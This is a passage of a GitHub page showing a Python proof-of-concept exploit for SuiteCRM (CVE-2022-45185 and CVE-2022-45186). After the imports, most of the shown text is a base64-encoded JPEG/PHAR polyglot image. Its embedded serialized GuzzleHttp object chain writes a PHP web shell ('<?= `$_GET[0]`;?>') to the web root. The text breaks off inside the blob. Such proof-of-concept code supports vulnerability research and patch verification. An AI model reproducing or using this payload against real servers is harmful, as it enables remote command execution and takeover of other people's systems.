-
Notifications
You must be signed in to change notification settings - Fork 23
/
poc_SuiteCRM.py
477 lines (424 loc) · 56.7 KB
/
poc_SuiteCRM.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
"""
vulnerability covered by CVE-2022-45185, CVE-2022-45186
"""
import requests
import argparse
import re
import base64
import time
import warnings
warnings.filterwarnings("ignore")
### Image containing exploit, do not change :D
phar_jpeg = b"""
/9j//hP6eHQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADAwMDA2NjQAAAAAAAAAAAAAAAAAAAAAADAwMDAwMDAwMDA0ADE0MzMwMjUzNDM2ADAxMDI2NnggMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB1c3RhcgAwMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABhYWFhAAAAAAAAAAB0ZXN0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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7xyp2ehDsxpOjyeyAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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